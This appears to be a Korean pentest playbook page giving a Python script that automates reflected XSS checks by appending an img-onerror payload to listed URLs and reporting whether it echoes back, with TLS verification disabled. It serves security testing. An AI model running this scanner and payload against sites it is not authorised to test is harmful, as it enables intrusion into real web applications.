Pentest Playbook

Wordlist 기반의 XSS 공격 자동화

1. 공격 자동화 예시

XSS 공격을 수행하는 과정에서 동일한 경로들을 수집했을 때, XSS 공격을 자동화하는 스크립트

현재 작성된 자동화 코드는 URL과 매개변수를 직접 적용해야 합니다. Payload만 개별로 구성해서 사용할 수 있지만 매개변수는 직접 찾아서 targets.txt에 목록을 만들어줘야 합니다.

https://www.example1.com/
https://www.example2.com/
https://www.example3.com/
payloads = [
    '?param=test"><img/src/onerror=print(1)>',
    '?param1=test"><img/src/onerror=print(1)>',
    '?param2=test"><img/src/onerror=print(1)>'
]
https://www.example1.com/?param=test"><img/src/onerror=print(1)>
https://www.example2.com/?param1=test"><img/src/onerror=print(1)>
https://www.example3.com/?param2=test"><img/src/onerror=print(1)>

2. 전체 코드

import requests # pip install requests
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
import urllib3
urllib3.disable_warnings()

def xss_checker():
    # 공격 URL 지정
    with open('targets.txt', 'r') as f:
        targets = [line.strip() for line in f if line.strip()]

    results = []

    # XSS Payload 목록
    payloads = [
        '?params=test"><img/src/onerror=print(1)>'
    ]

    results = []

    for target in targets:
        for payload in payloads:
            url = target + payload
            try:
                resp = requests.get(url, verify=False, timeout=10, allow_redirects=True)

                # payload 값 부분만 추출해서 Reflected 확인
                payload_value = payload.split('=', 1)[-1]
                reflected = payload_value in resp.text

                status = "⚠️ Warn Reflected" if reflected else "✅ XSS Not Found"
                print(f"[{resp.status_code}] {status}{url[:100]}")

                results.append({"url": url, "status_code": resp.status_code, "reflected": reflected})

            except requests.exceptions.RequestException as e:
                print(f"\033[91m[ERR] ❌ 요청 실패 → {url[:100]}\033[0m")
                results.append({"url": url, "status_code": 0, "reflected": False, "error": str(e)})

    # 결과 요약
    reflected_count = sum(1 for r in results if r.get("reflected"))
    print(f"\n{'='*50}")
    print(f"전체: {len(results)} | Reflected XSS 발견 개수: {reflected_count}")

if __name__ == "__main__":
    xss_checker()

Refer

나중에 URL과 매개변수를 추출하는 site-scanner와 연동 가능성 확인

ESC

💡 검색 팁

  • #T1572 - 태그로 검색
  • persistence - 키워드로 검색